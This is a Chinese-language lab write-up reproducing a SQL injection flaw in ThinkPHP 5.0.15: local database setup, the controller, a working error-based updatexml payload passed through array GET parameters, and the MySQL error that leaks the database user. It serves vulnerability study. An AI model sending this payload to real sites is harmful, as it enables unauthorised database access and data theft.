目录
一、环境的部署
二、本地创建数据库
三、填写数据库连接文件
四、编写控制器
五、访问分析
debug报错会显示物理路径
原因是config.php文件相关配置
六、注入分析
七、进入断点调试
八、通过mysql执行语句查看结果
九、总结:
一、环境的部署
二、本地创建数据库
mysql> create database tp5015; --建库tp5015
mysql> use tp5015 --用库
mysql> create table users(id int,username varchar(30)); --建表users
mysql> insert into users(id,username) values(1,'xiaomi'); --插入数据
mysql> select * from users;
+------+----------+
| id | username |
+------+----------+
| 1 | xiaomi |
+------+----------+
三、填写数据库连接文件
四、编写控制器
get传参
五、访问分析
debug报错会显示物理路径
原因是config.php文件相关配置
六、注入分析
我们使用的是5.0.15
通过下一个官方的下一版本的更新点进行分析
在request库里有call_user_f这个方法 典型的回调后门
?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
七、进入断点调试
八、通过mysql执行语句查看结果
insert into users (username) values (updatexml(1,concat(0x7e,user(),0x7e),1)+1);
mysql> use tp5015
mysql> insert into users (username) values (updatexml(1,concat(0x7e,user(),0x7e),1)+1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
九、总结:
其中漏洞在于$val进行拼接,在用Builder,insert进行替换最终执行的代码就是
insert into users (username) values (updatexml(1,concat(0x7e,user(),0x7e),1)+1);